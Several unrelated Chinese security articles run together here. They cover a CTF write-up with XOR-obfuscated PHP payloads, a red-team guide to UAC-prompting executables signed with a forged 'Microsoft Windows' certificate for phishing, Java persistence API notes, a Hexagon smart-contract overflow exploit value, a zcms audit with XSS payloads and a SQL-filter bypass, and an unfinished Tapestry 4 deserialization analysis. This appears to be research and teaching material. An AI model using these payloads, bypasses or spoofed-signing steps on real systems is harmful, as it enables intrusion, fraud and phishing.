所以我们只需要按照同样的编码方式，尽量找相同的字符，就可以执行相关的 php 函数了，通过以下步骤就可以拿到 flag 了
var_dump(scandir(getcwd()));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" }
var_dump(file_get_contents(end(scandir(getcwd()))));
string(34) "ISITDTU{Your PHP skill is so good}"
### Another Way-Step 1
单次异或可能会有一定的局限性，我们也可以通过两次或者多次异或来进行字符串的构造：
(qiqhnin^iiiiibi^hhhhimh)();//phpinfo()
### Another Way-Step 2
接着我们就可以通过十六进制异或来进行字符串操作了。例如：
print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))
. ^ 0xff -> 0xd1 -> ((%ff)^(%d1))
当然也可以不使用 0xff ，使用以下 payload 就可以在没有字符限制的时候进行列目录了：
((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));
### Another Way-Step 3
通过总结我们所需要的字母：`._acdinprst`，然后进行类似的构造：
t = s^c^d
n = i^c^d
r = a^c^p
print_r -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%9e%96%96%8c%a0%9e)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
scandir -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))
即可进行函数操作了
### Another Way 2
看这题的时候想起了p牛的几篇文章，大家可以参考一下：
[一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html)
[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)
这两篇也给了我当时很大的启发以及思路。尤其是第二篇中的 payload ，其实可以直接拿来用
大家可以详细的参考这两篇文章，p牛第一篇是通过位运算以及自增来进行操作，第二篇在 php7
环境下则是通过取反来进行操作，这里前面就简单介绍了一下通过异或的操作形式。
### Bonus
题外话，看到 @Mr.Liu
师傅写的一个随机异或免杀的马，还是比较有意思的一个项目:[Github地址](https://github.com/yzddmr6/webshell-venom)
# Reference
[EasyPHP (871 points)](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU CTF 2019 Quals/web/easyphp.md)
[ISITDTU CTF 2019 - EasyPHP](https://github.com/jesux/ctf-write-ups/tree/master/isitdtu-2019/EasyPHP)
[一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html)
[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html) | 社区文章 |
> 前言：在红队防线-《如何基于 "点" 位快速搜集》中，klion师傅提到“快速维权
> 注，此处并不一定非要去硬刚UAC，可以尝试在对方点的时候就把UAC框弹出来基于此开始进行测试“，萌生了复现的想法，在此记录学习过程。
## 一、关于UAC
UAC：简单来说，UAC是Windows操作系统的控制机制，用来提升系统的安全性。
交互式管理员（interactive administrators）以较低的权限运行，当运行开始管理员任务的时候通过UAC来提高用户的权限。
以CMD程序为例说明UAC作用：
普通cmd程序
通过UAC提权后的CMD程序
通过UAC可以让CMD程序获取更高的权限，从而进行更多操作，如对注册表操作。
当我们自编译payload的时候，如果shell能够直接以高权限运行而不用考虑其他提权的途径与困难程度，比如在更新后的win10机器上提权做权限维持等。
## 二、添加UAC自启
这里我找到两种让程序运行时自启UAC的方式，分享给大家：
1、visual studio
2、mt.exe
具体细节：
visual studio ：
创建项目
在project下找到
xxxx properties
linker下会有启用UAC的级别：
修改UAC级别后，重启visual studio，编译之后，程序右下角会有盾牌标识运行时会自带UAC提权提示。
2、mt.exe
mt.exe文件是一个生成签名文件和目录的工具。
用法参考：
<https://docs.microsoft.com/en-us/windows/win32/sbscs/mt-exe>
生成可执行程序后通过
.\mt.exe -manifest kezhixing.exe.manifest -outputresource:kezhixing.exe;1
命令为可执行程序添加UAC运行。
cobaltstrike上线后效果展示：
## 三、发布者签名
发布者签名
UAC自运行搞好后，弹出的UAC窗口会有发布者信息，自己添加的UAC为未知发布者，为增加钓鱼成功的可能性，需要修改发布者，这里向Secde0师傅请教，通过复现三好学生师傅的文章，在Secde0师傅的帮助下，成功添加发布者
需要的工具： makecert.exe cert2spc.exe pvk2pfx.exe signtool.exe certmgr.exe
过程简介：
生成一个自签名的根证书
makecert.exe -n "CN=Microsoft Windows" -r -sv RootIssuer.pvk RootIssuer.cer
使用这个证书签发一个子证书
makecert.exe -n "CN=Child" -iv RootIssuer.pvk -ic RootIssuer.cer -sv
ChildSubject.pvk ChildSubject.cer -sky signature
公钥证书格式转换成SPC
cert2spc.exe ChildSubject.cer ChildSubject.spc
将公钥证书和私钥合并成一个PFX格式的证书文件
pvk2pfx.exe -pvk ChildSubject.pvk -pi 123456 -spc ChildSubject.spc -pfx
ChildSubject.pfx -f
签名
signtool sign /f ChildSubject.pfx /p 123456 test.exe
这里的signtool用系统自带的signtool.exe
将证书导入本地
普通用户权限：
certmgr.exe -add -c Root.cer -s -r currentUser root
certmgr.exe -add -c Root.cer -s -r localmachine root
效果如下
emm,补充下：要先加UAC后签名。
## 四、存在的问题：
换设备后发布者将不再显示，需要重新签名。
将签名好的自启UAC文件放入虚拟机运行，可以看到发布者仍未未知
将证书导入本地
普通用户权限：certmgr.exe -add -c Root.cer -s -r currentUser root
管理员权限：
certmgr.exe -add -c Root.cer -s -r localmachine root
运行可执行程序效果如下：
##### **最后感谢Secde0师傅提供的帮助，，大树下乘凉，错误之处望各位师傅斧正。
参考链接：
<https://docs.microsoft.com/en-us/windows/win32/sbscs/mt-exe>
<https://docs.microsoft.com/zh-cn/windows/win32/uxguide/winenv-uac>
<https://www.cnblogs.com/Secde0/articles/14012412.html>
<https://www.freebuf.com/articles/system/216337.html>
<http://www.vuln.cn/6022> | 社区文章 |
这篇文章仅用于补充：[JAVA代码审计的一些Tips(附脚本)](https://xianzhi.aliyun.com/forum/topic/1633/)一文中关于SQLi中不足部分
### JDBC常用API
**DriverManager** ：用于管理JDBC驱动的服务类。主要功能是获取Connection对象
public static Connection getConnection(String url, String user, String password) throws SQLException
//该方法获得url对应数据库的连接
**Connection** ：代表数据库连接对象。每一个Connection代表一个物理连接会话
Statement createStatement() throws SQLException;
//该方法返回一个Statement对象
PreparedStatement prepareStatement(String sql)throws SQLException;
//该方法返回预编译的Statement对象，即将SQL语句提交到数据库进行预编译
CallableStatement prepareCall(String sql) throws SQLException;
//该方法返回CallableStatement对象，该对象用于调用存储过程
// 控制事务的相关方法
Savepoint setSavepoint() throws SQLException
//创建一个保存点
Savepoint setSavepoint(String name) throws SQLException;
//以指定名字来创建一个保存点；
void setTransactionIsolation(int level) throws SQLException;
//设置事务的隔离级别;
void rollback() throws SQLException;
//回滚事务；
void rollback(Savepoint savepoint) throws SQLException;
//将事务回滚到指定的保存点；
void setAutoCommit(boolean autoCommit) throws SQLException;
//关闭自动提交，打开事务；
void commit() throws SQLException;
//提交事务；
**Statement** ：用于执行SQL语句的工具接口。该对象既可以执行DDL,DCL语句，也可以执行DML语句 ，还可以用于执行SQL查询
ResultSet executeQuery(String sql) throws SQLException;
//该方法用于执行查询语句，并返回查询结果对应ResultSet对象。该方法只能用于执行查询语句
int executeUpdate(String sql) throws SQLException;
//该方法用于执行DML语句，并返回受影响的行数；该方法也可用于执行DDL语句，执行DDL语句将返回0
boolean execute(String sql) throws SQLException;
//改方法可以执行任何sql语句。如果执行后第一个结果为ResultSet对象，则返回true；如果执行后第一个结果为受影响的行数或没有任何结果，则返回false
**PreparedStatement**
：预编译的Statement对象，它允许数据库预编译sql语句，以后每次只改变sql命令的参数，避免数据库每次都需要编译sql语句，无需再传入sql语句，
它比Statement多了以下方法
void setXxx(int parameterIndex, Xxx value):
//该方法根据传入参数值的类型不同，需要使用不同的方法。传入的值根据索引传给sql语句中指定位置的参数
### Hibernate框架常用API
**Configuration**
：负责Hibernate的配置信息。包括运行的底层信息：数据库的URL、用户名、密码、JDBC驱动类，数据库Dialect，数据库连接池等
和持久化类与数据表的映射关系(*.hbm.xml文件)
//属性文件（hibernate.properties）:
Configuration cfg = new Configuration();
//Xml文件（hibernate.cfg.xml）
Configuration cfg = new Configuration().configure();
**SessionFactory**
：Configuration对象根据当前的配置信息生成SessionFactory对象，SessionFactory对象中保存了当前数据库的配置信息和所有映射关系以及预定义的SQL语句，同时还负责维护Hibernate的二级缓存
SessionFactory configuration.buildSessionFactory()
获取SessionFactory对象
Session sessionFactory.openSession()
获取Session对象
**Session**
：是应用程序与数据库之间交互操作的单线程对象。session对象有一个一级缓存，显式执行flush之前，所有的持久层操作的数据都缓存在session对象处。相当于JDBC的Connection
//获取持久化对象方法分为get()和load()
public Object get(Class clazz, Serializable id);
//通过持久化类和主键获取对象
public Object get(Class clazz, Serializable id, LockOptions lockOptions);
//通过持久化类和主键、锁选项获取对象
public Object get(String entityName, Serializable id);
//通过全类名+主键获取对象
public Object get(String entityName, Serializable id, LockOptions lockOptions);
//通过全类名+主键+锁选项获取对象
//load()方法与get()相同，但多了下列方法
public void load(Object object, Serializable id);
//通过一个空的持久化类的实例+主键获取对象
//get方法会在调用之后立即向数据库发出sql语句（不考虑缓存的情况下），返回持久化对象；
//而load方法会在调用后返回一个代理对象，该代理对象只保存了实体对象的id，直到使用对象的非主键属性时才会发出sql语句.
//查询数据库中不存在的数据时，get方法返回null，load方法抛出异常：org.hibernate.ObjectNotFoundException
Serializable save(Object object)
//保存持久化对象
void update(Object object)
//更新持久化对象
void delete(Object object)
//删除持久化对象
void saveOrUpdate(Object object)
//根据ID判断是save还是update，如果id存在，则为update,若id不存在，即为save
Query createQuery(String hql)
//执行HQL查询
SQLQuery createSQLQuery(String sql)
//执行SQL查询
Transaction beginTransaction()
//开启事务
**Transaction** ：具有数据库事务的概念，所有持久层都应该在事务管理下进行，即使是只读操作
void commit()
//提交相关联的session实例
void rollback()
//撤销事务操作
boolean wasCommitted()
//检查事务是否提交
**Query** ：
用于从数据存储源查询对象及控制执行查询的过程，Query对象包装了一个HQL查询语句。Query对象在session对象关闭之前有效，否则会抛出Sessionexception异常
Query setxxx()
//用于设置HQL语句中问号或者变量的值
List list()
//返回查询结果，并把查询结果转换成list对象
Obect uniqueResult()
//得到一个单个的对象(查询结果仅一条)
int executeUpdate()
//执行更新或删除语句
**Criteria** ：
### SpringJdbc常用API
**JdbcTemplate** : Spring对JDBC最低级别的封装，其他的工作模式 事实上在底层使用了JdbcTemplate作为其底层的实现基础
void execute(String sql)
//用于执行任何SQL语句，一般执行DDL语句
int update(String sql)
//用于执行新增，修改，删除等语句。
int[] batchUpdate(String sql)
int[] batchUpdate(String sql,BatchPreparedStatementSetter pss)
//批量执行SQL语句
queryForxxxxx(String sql)
//执行查询相关的语句
Map<String,Object> call(CallableStatementCreator csc, List<SqlParameter> declaredParameters) throws DataAccessException
//执行存储过程、函数相关的语句
**NamedParameterJdbcTemplate** ：对JdbcTemplate做了封装，提供了更加便捷的基于命名参数的使用方式
String sql = "INSERT INTO student(id,student_name,email,Dept_No) VALUES(:id,:name,:email,:deptid)";
Map<String , Object> paramMap = new HashMap<>();
paramMap.put("id",9);
paramMap.put("name","Limbo");
paramMap.put("email","[email protected]");
paramMap.put("deptid",1);
namedParameterJdbcTemplate.update(sql,paramMap);
### Mybatis常用API
**SqlSessionFactory** ：是单个数据库映射关系经过编译后的内存镜像，其主要作用是创建SqlSession对象
InputStream inputStream = Resources.getResourceAsStream("mybatis-config.xml");
SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
SqlSession openSession()
SqlSession openSession(Connection connection)
获取SqlSessioon对象
**SqlSession** ： 应用程序与持久层之间执行交互操作的一个单线程对象，其主要作用是执行持久化操作
void commit()
//提交事务
int delete(String statement)
int delete(String statement, Object parameter)
//执行一条删除操作
int insert(String statement)
int insert(String statement, Object parameter)
//执行一条插入操作
<T> T selectOne(String statement)
<T> T selectOne(String statement, Object parameter)
//执行一条查询，并返回一条记录
<E> List<E> selectList(String statement)
<E> List<E> selectList(String statement, Object parameter)
//执行一条查询，返回List对象
<T> T getMapper(Class<T> type)
//获取一个Mapper对象
### Spring data JPA
**Spring Data JPA 简化持久层开发大致需要如下三个步骤**
public interface UserRepository extends Repository<User, Long> { }
在持久层的接口中声明需要的业务方法，Spring Data JPA将会根据指定的策略为该方法生成实现代码。用户不需要实现该接口
List<User> findByLastname(String lastname);
在Spring的配置文件中添加配置，为声明的接口设定代理对象
<jpa:repositories base-package="com.zhutougg.jpa" entity-manager-factory-ref="entityManagerFactory" transaction-manager-ref="transactionManager"/>
获得并使用repository的实例
//在Spring Container中使用
public class TestJPA {
@Autowired
private UserRepository repository;
public void doSomething() {
User u = new User();
User user = repository. save (u);
}
}
//在Spring Container外使用
RepositoryFactorySupport factory = … // Instantiate factory here
UserRepository repository = factory.getRepository(UserRepository.class)
**Respository** ： 是SpringData的核心接口，并不提供任何方法，用户需要自己定义需要的方法
1. public interface UserDao extends Repository<User, Long> { …… }
2. @RepositoryDefinition(domainClass = User.class, idClass = Long.class)
public interface UserDao { …… } | 社区文章 |
作者：zxx友善@360 0KEE Team
来源：<https://www.jianshu.com/p/c5363ffad6a7>
最近通过对智能合约的审计，发现了一些智能合约相关的安全问题。
其中我们发现智能合约Hexagon存在溢出攻击，可产生无数的token，导致整个代币都没有意义。
Token地址：<https://etherscan.io/address/0xB5335e24d0aB29C190AB8C2B459238Da1153cEBA>
该代币可能要上交易所，我们已第一时间向官方通知该问题。
目前发现受影响合约地址：
#### 成因分析
问题出现在`_transfer`函数当中，当调用transfer转币时，会调用`_transfer`函数：
/* Send tokens */
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
`_value`可控，`burnPerTransaction`为常量，当`_value +
burnPerTransaction`溢出时为0，可以导致绕过验证。
/* INTERNAL */
function _transfer(address _from, address _to, uint _value) internal {
/* Prevent transfer to 0x0 address. Use burn() instead */
require (_to != 0x0);
/* Check if the sender has enough */
require (balanceOf[_from] >= _value + burnPerTransaction);
/* Check for overflows */
require (balanceOf[_to] + _value > balanceOf[_to]);
/* Subtract from the sender */
balanceOf[_from] -= _value + burnPerTransaction;
/* Add the same to the recipient */
balanceOf[_to] += _value;
/* Apply transaction fee */
balanceOf[0x0] += burnPerTransaction;
/* Update current supply */
currentSupply -= burnPerTransaction;
/* Notify network */
Burn(_from, burnPerTransaction);
/* Notify network */
Transfer(_from, _to, _value);
}
string public constant name = "Hexagon";
string public constant symbol = "HXG";
uint8 public constant decimals = 4;
uint8 public constant burnPerTransaction = 2;
#### 漏洞利用
合约中 `burnPerTransaction` = 2 ，
所以当转账`_value`为`0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe`时，
`_value + burnPerTransaction =0` ，即可成功攻击，为`balanceOf[_to]`增加大量代币。
require (balanceOf[_from] >= _value + burnPerTransaction);
// require (balanceOf[_from] >= 0);
[....]
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value + burnPerTransaction;
// balanceOf[_from]-=0
balanceOf[_to] += _value;
//balanceOf[_to]+=fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe
可参考下图Transcations，目前生成的代币已销毁：
#### 总结
建议使用 SafeMath 来处理计算操作，避免溢出。
同时，以太坊智能合约有很多开源合约，使用参考开源合约前，应对代码进行安全审计。
#### 关于我们
0KEE
Team隶属于360信息安全部，360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有区块链安全、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全等多个方向，基本覆盖互联网安全主要领域。
* * * | 社区文章 |
**0x00 前言**
最近学习php代码审计，也看了不少文章和视频，决定自己尝试动手分析，于是从网上找到了zzcms的源码，在本地搭建审计一波，写下该文章对审计的过程进行记录。第一次写文章，不足之处还请各位大佬多多指教。
**0x01 环境准备**
zzcms 2020（最后更新于2020-7-26）
phpstudy(php5.6.27+Apache+mysql)
Windows7 64位
源码下载地址：<http://www.zzcms.net/about/6.htm>
将源码放到phpstud的WWW目录后，根据使用手册配置好环境后访问/install进行安装，安装完成后访问首页如下：
**0x02 代码审计**
开始审计前，先大概看一下目录文件，了解一下网站结构，网站文件有点多，看目录名也不是都看得出是干嘛用的，好在使用手册中对cms的目录结构进行了说明，如下：
/install 安装程序目录（安装时必须有可写入权限）
/admin 默认后台管理目录（可任意改名）
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;
/template 系统模板存放目录;
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/pp 品牌
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面，如公司简介页，友情链接页，帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq登录接口文件
/3/ucenter_api discuz论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信API
/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/js js文件存放目录
/html 静态页存放目录
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini 伪静态规则文件for iss6
/.htaccess 伪静态规则文件for apache
nginx.conf
大概了解了网站的目录结构之后，使用seay代码审计工具的自动审计功能进行审计，配合审计结果进行手工审计。
**重装漏洞**
在开始审计时，我喜欢先访问insatll目录，看看是否存在重装漏洞
访问/install，出现如下界面
看看/install/index.php文件
通过switch函数判断$step的值，根据$step的值来执行安装步骤，而$step的值通过POST传输
step1.php
检查是否存在install.lock文件，存在时就会出现上述访问的界面。
那么当手动传入参数使step=2，就可跳过step1的文件检测，重装网站
**前台反射XSS漏洞**
uploadimg_form.php
这个文件中存在两处直接将GET方式提交的参数输出，构造XSS闭合语句
"><script>alert(1)</script>
imgid参数
noshuiyin参数
**后台反射XSS漏洞**
/admin/ad_manage.php
这里通过REQUEST请求获取keyword参数的值，并使用echo直接输出，那么这里通过GET和POST两种方式传入keyword的值，构造XSS语句，都可弹窗，但实际测试时出现一些不同
POST方式成功弹窗
GET方式弹窗失败，返回“无效参数”
看到这个结果，猜测应该是对GET提交的参数进行了拦截，忽略了POST提交的参数。于是全局搜索一下“无效参数”，跟踪到/inc/stopsqlin.php文件，发现如下代码
通过$_SERVER['REQUEST_URI']获取当前URI，并使用黑名单的方式检测URI中是否含有一些参数，并未检测POST数据，所以造成POST提交可弹窗的结果。
GET提交参数直接大写关键词绕过检测即可
**后台SQL注入漏洞**
/admin/ask.php 204行
$_COOKIE["askbigclassid"]参数未用引号包裹直接带入sql语句
而这段代码是add()函数的一部分，那么要执行这段语句，需要调用add()
搜索add()，找到add()函数被调用的地方
上述代码可知，当参数do的值为add时，即可实现add()函数的调用，而do又是用户可控的，那么参数do=add，同时cookie中添加askbigclassid参数
结果and语句被拦截，应该是存在检测机制，过滤了一些SQL关键词。全局搜索提示的语句，寻找网站的过滤代码，跟踪到/inc/stopsqlin.php
这里定义了一个stopsqlin()函数，使用黑名单的方式，对参数进行检测，当检测到config.php中定义的字符串，则报错
/inc/config.php中定义的关键词
但stopsqlin.php文件中，后面的这段代码存在缺陷，导致可绕过检测，造成注入
代码如下
这段代码首先使用$_SERVER获取当前URI，然后使用if语句对URI进行判断，当满足条件时才会调用stopsqlin()函数处理$_GET、$_POST、$_COOKIE和$REQUEST传递的参数
来看一下if语句
if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0)
这段语句表示当URI中不存在"siteconfig.php"、"label"和"template.php"这三个字符串时，才满足条件，所以只要我们在URI中提交参数包含这三个字符串中的任意一个，即可使该if语句为false，从而绕过检测。
最终数据包构造如下
成功执行SQL语句
**存储XSS漏洞**
漏洞的成因感觉比较有趣，本来这个cms是定义了一个zc_check()函数，使用addslashess、
htmlspecialchars对用户输入的参数进行了过滤，对SQL注入和XSS都起到了一定的防护作用。但同时又定义了另外一个函数stripfxg()，对参数做和zc_check()函数完全相反的操作，当两个函数同时调用时，就相当于没有做任何过滤。下面具体分析一下这两个函数。
/inc/stopsqlin.php=>zc_check()
6-16行，定义了zc_check()函数
7-13行，当传入参数不是数组时，判断是否开启gpc功能，（5.4之后默认是false），未开启则再使用trim()、htmlspecialchars()和addslashes()处理参数。
14-16行，当传入数组时，则遍历键值对，使用zc_check()函数对数组的每个参数进行处理
17-25行，使用zc_check()函数对$_COOKIE、$_GET、$POST传入的参数进行处理
所以当调用该函数时，addslashes()和htmlspecialchars()对参数进行了处理，是可以防止大部分SQL注入和XSS的。
/inc/function.php=>stripfgx()
571-580行，定义了stropfxg()函数
572行，stripslashes()删除了addslashes()函数添加的反斜杠
573-575行，当$htmlspecialchars_decode参数的值为true时，htmlspecialchars_decode()将html实体编码转换为普通的字符
这个函数恰好将zc_check()函数做的转义去掉，所以，只要调用stripfxg()函数，并将第二个参数设置为true的，就相当于没有防护，都可能会存在SQL注入和XSS。（不是很懂为啥要写这么个函数）
全局搜索stripfxg()
看到调用该函数的地方还挺多的
下面分别以前台和后台的存储XSS漏洞各一个为例
**后台存储xss**
/admin/siteconfig.php
文件第4行，包含admin.php文件=>admin.php第2行包含/inc/conn.php文件，conn.php中又同时包含了function.php和stopsqlin.php文件
第1136行，使用stripfxg()函数对sitecount参数进行了处理，最后被写入/inc/config.php文件，在/index.php输出
访问/admin/siteconfig.php，写入xss代码保存
访问首页
触发XSS代码
**前台存储XSS**
/zt/show.php
第256行，使用了stripfxg()函数处理$content参数，并拼接赋值给$gsjj变量
往后查找$gsjj函数，看是否输出了$gsjj变量
虽然没有直接输出$gsjj变量，但是374行中，将$strout中的"{#gsjj}"字符串替换为了$gsjj的值，然后在385行将$strout输出。那么，如果$content的值可控的话，就可以将$content的值构造为XSS语句，在385行进行输出，从而造成XSS漏洞。
往上查找$content变量，在show.php文件中未找到，那么应该是在include包含的文件中定义，于是一个个打开搜索$content变量
/zt/top.php
在49行找到$content变量的赋值，为数组$row["content"]的值
继续往上查找$row
第30行，使用fetch_array()查询数据库中的数据取一行赋值给数组$row
第17行，通过id查询zzcms_user表中的数据
在数据库中查询，发现content字段
随后寻找哪里能够插入或修改zzcms_user表中的content字段，想到上面的两个用户均为前台注册账户，那么前台用户注册或信息修改的地方是能插入content字段的值，于是在user目录下搜索"update
zzcms_user"，在/user/manage.php文件中可修改content字段的值。
/user/manage.php
第180行中，修改zzmcs_user表的数据，包含了content字段
继续看代码，上面的代码都是包含在if($action=="modify")的条件下的，而$action通过GET方式传入，可人为控制
接下来构造数据包看是否能修改content字段的值
访问/user/manage.php看看
点击修改抓包
数据包中没有看到content参数，在POST中添加content参数发包，看看是否会修改content的值
发包后在数据库中查询
可以看到成功的修改了content的值，那就可以将content值修改为XSS语句
发包后访问/zt/show.php，由于这里修改的用户id为1，GET提交id=1
触发XSS代码弹窗
**0x03 总结**
这次是个人第一次比较完整的对一个cms进行审计，发现的漏洞比较少，比较遗憾的是没有发现getshell的点，不确定是没有还是自己没发现。感觉这个cms应该还有不少漏洞的，由于个人水平有限，只能到此为止了。 | 社区文章 |
**前言**
1、做某项目测试的时候，大家都知道肯定上来就抓包，接着就是一脸懵逼，发现数据包全部都是加密的，那咋办啊肯定下一个啊。
一、js调试
1、进入正题啊，我这里抓的是发送短信接口的数据包，从数据包中可以看到总共有5个参数，分别为bizData、encryptKey、timestamp、signature、Key,5个参数，通过参数应该能猜到bizData参数就是主要加密的内容、我们要看的明文应该就在里面，然后两个key我们先不管，timestamp参数一看就知道是时间戳了，那signature参数看名字应该是签名的意思。
2、接着我们打开开发者工具，然后打开全局搜索，搜索bizData参数，感觉第一个应该是。
3、然后大概看了一下，n应该就是加密以后的结果，再追踪一下n，发现通过上面生成的，接着在该处设置断点
4、然后就一直下一步看他怎么生成的，中间跳的步骤就省略了，直接找到关键代码处，代码中直接就显示e应该就是加密前的明文，接着看上面有个AES,猜测应该就是AES加密、再看下面$e.key
= t,感觉t应该就是秘钥了。
5、果然在下面对t有定义，加密方式就是AES,接着e就是加密前的明文，那t应该就是秘钥了，然后再看下面iv偏移量是Be,但是Be怎么生成的在上面有定义 Be
=
Ie.a.enc.Utf8.parse('1234567812345678')，那Be就是1234567812345678了应该是固定的，模式下面也写着是CBC，那所有条件都找到了。
6、我们找一个有AES加密解密网站,填入秘钥和iv偏移量，成功解密出数据，接着修改明文里面的参数再加密，发现报错了、那应该还有个signature签名需要解密。
二、签名解密
1、同样操作，直接全局搜signature签名，找到该处发现s应该是生成签名的地方，然后在s处设置断点，看代码好像是SHA256加密的，那a就是加密前的数据了。
2、然后一直下一步，发现加密前的a出来了，其实仔细看一下应该能发现a是有规律的，是通过encryptKey+signMethod+timestamp+bizData+salt拼接的，看代码
a += r[e]就是生成的过程。
3、然后找到SHA256网站加密一下，发现结果是对的，接着写脚本就完事了。师傅们小弟刚学，多给点建议啊。 | 社区文章 |
# 前言
遇到有人问起这个漏洞，我去查了下Tapestry
4，这尼玛在2008年就停止更新了，现在是5，这算是一个上古时代的框架了，他类似于springMVC，也是有一个特殊的servlet做请求处理分发。
基本找不到这个漏洞的分析，只有一段关于该漏洞的描述（ 2020年12月8），source是sp参数，sink看描述应该是readObject
<https://lists.apache.org/thread/mcl3xzw50vjb7rv76nsgq5zorhbg5gyy>
> 在 Apache Tapestry 4 中发现了一个 Java 序列化漏洞。Apache Tapestry 4
> 甚至会尝试反序列化“sp”参数在调用页面的 validate 方法之前，导致反序列化无需身份验证。
# 环境搭建
要测试漏洞，得找个环境，这里搜了一篇文章，顺利搭建成功
<https://blog.csdn.net/lovebunny/article/details/83222881>
几个注意事项吧
1. Tapestry4 在 github有份源码，但我用mvn死活编译不出来，幸好maven仓库有，项目直接引用就行了。
1. <https://mvnrepository.com/artifact/org.apache.tapestry/tapestry-framework/4.1.6>
2. 因为类似springMVC，可以用tomcat、resin等容器部署，我选择了tomcat，web.xml如下
<?xml version="1.0"?>
<web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<servlet>
<servlet-name>ApplicationServlet</servlet-name>
<servlet-class>org.apache.tapestry.ApplicationServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ApplicationServlet</servlet-name>
<url-pattern>/app</url-pattern>
</servlet-mapping>
</web-app>
1. IDEA里调试，我使用jdk1.8跑不起来，换成1.6就ok了
2. 这里不用修改，就根目录就行，context路径在run configurations里配置
1. tapestry4一般配置一个页面，有三个文件，模板文件[name].html，page文件[name].page,以及处理类，整个调用过程：Home.html -> Home.page -> Home.class；html模板文件和page文件名字一定要一致，这是自动关联的，而处理类名字没有要求，是显示和page文件关联
2. 默认请求是访问的Home.html，所以一般来说这个文件是必须有的
最后项目目录如下
# 漏洞分析
## sp及路由分析
1. 首先搜了下sp参数，他是被定义成一个变量PARAMETER了，简单看了下sp是service parameter的缩写。
在tapestry4-trunk\tapestry-framework\src\java\org\apache\tapestry\engine\ExternalService.java里看到sp的参考使用，大概就是每个service服务的传参，那这个service是怎么选择的呢。
/app?service=external/[PageName]&sp=[param 0]&sp=param[1]
这篇文章有提到一些
<https://blog.csdn.net/CSDN__Java/article/details/49100277>，这里用的service是page
再仔细看看/app?service=external&sp=[param 0]对应的刚好是类名前缀小写，是`IEngineService`接口的实现
这个接口有很多实现类，包括page啥的
尝试构造访问，可以看到和我们默认访问的页面是一样的，说明默认就是PageService请求。
而service=external也其实可以访问到`ExternalService`
这里提示home未实现IExternalPage
因为我Home.class是IPage的实现，正常开发external服务，就实现IExternalPage即可
接口的描述，getLink主要用于构建一个service的URL，而service方法就是处理请求，并返回一个page。
ExternalService在getLink里有获取sp参数，但只是构造link，而service里却没看到获取sp参数的代码
看了下这个代码内部实现
Object[] parameters = this._linkFactory.extractListenerParameters(cycle);
内部是有sp参数获取的。（上面说是用PARAMETER，这里是找的编译好的jar包，所以是sp）
关于sp参数的调用，大概搜了下源码，先排除getLink里的
xxx-call->LinkFactoryImpl.extractListenerParameters
// 下面这两个后面搜索了下，XTileService和ViewPageEncoder不在framwork里
XTileService.service
ViewPageEncoder.encode
## tabby搜索
用tabby搜索一下调用
match (:Class)-[:HAS]->(source:Method {SUB_SIGNATURE: "void service(org.apache.tapestry.IRequestCycle)"})
match (sink:Method {NAME: "extractListenerParameters"})
call apoc.algo.allSimplePaths(source,sink, "CALL>|ALIAS>", 10) yield path
return path limit 20
有几个IEngineService实现类是有调用的
org.apache.tapestry.engine.DirectEventService
org.apache.tapestry.engine.ExternalService
